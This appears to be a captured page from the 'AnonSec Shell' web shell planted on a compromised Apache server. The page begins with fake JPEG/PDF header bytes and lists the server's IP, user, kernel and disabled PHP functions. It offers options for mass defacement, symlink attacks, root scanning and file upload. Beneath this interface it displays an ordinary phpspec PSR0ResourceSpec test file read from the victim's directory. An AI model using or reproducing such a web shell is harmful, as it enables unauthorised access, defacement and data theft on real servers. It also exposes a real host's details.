ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.148   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/Locator/PSR0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/Locator/PSR0/PSR0ResourceSpec.php
<?php

namespace spec\PhpSpec\Locator\PSR0;

use PhpSpec\ObjectBehavior;

use PhpSpec\Locator\PSR0\PSR0Locator as Locator;

class PSR0ResourceSpec extends ObjectBehavior
{
    function let(Locator $locator)
    {
        $this->beConstructedWith(array('usr', 'lib', 'config'), $locator);

        $locator->isPSR4()->willReturn(false);
    }

    function it_uses_last_segment_as_name()
    {
        $this->getName()->shouldReturn('config');
    }

    function it_uses_last_segment_plus_Spec_suffix_as_specName()
    {
        $this->getSpecName()->shouldReturn('configSpec');
    }

    function it_is_a_resource()
    {
        $this->shouldBeAnInstanceOf('PhpSpec\Locator\ResourceInterface');
    }

    function it_generates_src_filename_from_provided_parts_using_locator($locator)
    {
        $locator->getFullSrcPath()->willReturn('/local/');

        $this->getSrcFilename()->shouldReturn('/local/usr'.DIRECTORY_SEPARATOR.'lib'.DIRECTORY_SEPARATOR.'config.php');
    }

    function it_generates_src_namespace_from_provided_parts_using_locator($locator)
    {
        $locator->getSrcNamespace()->willReturn('Local\\');

        $this->getSrcNamespace()->shouldReturn('Local\usr\lib');
    }

    function it_generates_proper_src_namespace_even_if_there_is_only_one_part($locator)
    {
        $this->beConstructedWith(array('config'), $locator);
        $locator->getSrcNamespace()->willReturn('Local\\');

        $this->getSrcNamespace()->shouldReturn('Local');
    }

    function it_generates_src_classname_from_provided_parts_using_locator($locator)
    {
        $locator->getSrcNamespace()->willReturn('Local\\');

        $this->getSrcClassname()->shouldReturn('Local\usr\lib\config');
    }

    function it_generates_proper_src_classname_for_empty_locator_namespace($locator)
    {
        $locator->getSrcNamespace()->willReturn('');

        $this->getSrcClassname()->shouldReturn('usr\lib\config');
    }

    function it_generates_spec_filename_from_provided_parts_using_locator($locator)
    {
        $locator->getFullSpecPath()->willReturn('/local/spec/');

        $this->getSpecFilename()->shouldReturn('/local/spec/usr'.DIRECTORY_SEPARATOR.'lib'.DIRECTORY_SEPARATOR.'configSpec.php');
    }

    function it_generates_spec_namespace_from_provided_parts_using_locator($locator)
    {
        $locator->getSpecNamespace()->willReturn('spec\Local\\');

        $this->getSpecNamespace()->shouldReturn('spec\Local\usr\lib');
    }

    function it_generates_proper_spec_namespace_even_if_there_is_only_one_part($locator)
    {
        $this->beConstructedWith(array('config'), $locator);
        $locator->getSpecNamespace()->willReturn('spec\Local\\');

        $this->getSpecNamespace()->shouldReturn('spec\Local');
    }

    function it_generates_spec_classname_from_provided_parts_using_locator($locator)
    {
        $locator->getSpecNamespace()->willReturn('spec\Local\\');

        $this->getSpecClassname()->shouldReturn('spec\Local\usr\lib\configSpec');
    }

    function it_does_not_split_underscores_when_locator_has_psr4_prefix($locator)
    {
        $this->beConstructedWith(array('usr', 'lib', 'config_test'), $locator);

        $locator->getFullSrcPath()->willReturn($this->convert_to_path('/local/'));
        $locator->getFullSpecPath()->willReturn($this->convert_to_path('/local/spec/'));
        $locator->isPSR4()->willReturn(true);

        $this->getSrcFilename()->shouldReturn($this->convert_to_path('/local/usr/lib/config_test.php'));
        $this->getSpecFilename()->shouldReturn($this->convert_to_path('/local/spec/usr/lib/config_testSpec.php'));
    }

    private function convert_to_path($path)
    {
        if ('/' === DIRECTORY_SEPARATOR) {
            return $path;
        }

        return str_replace('/', DIRECTORY_SEPARATOR, $path);
    }

}

Anon7 - 2022
AnonSec Team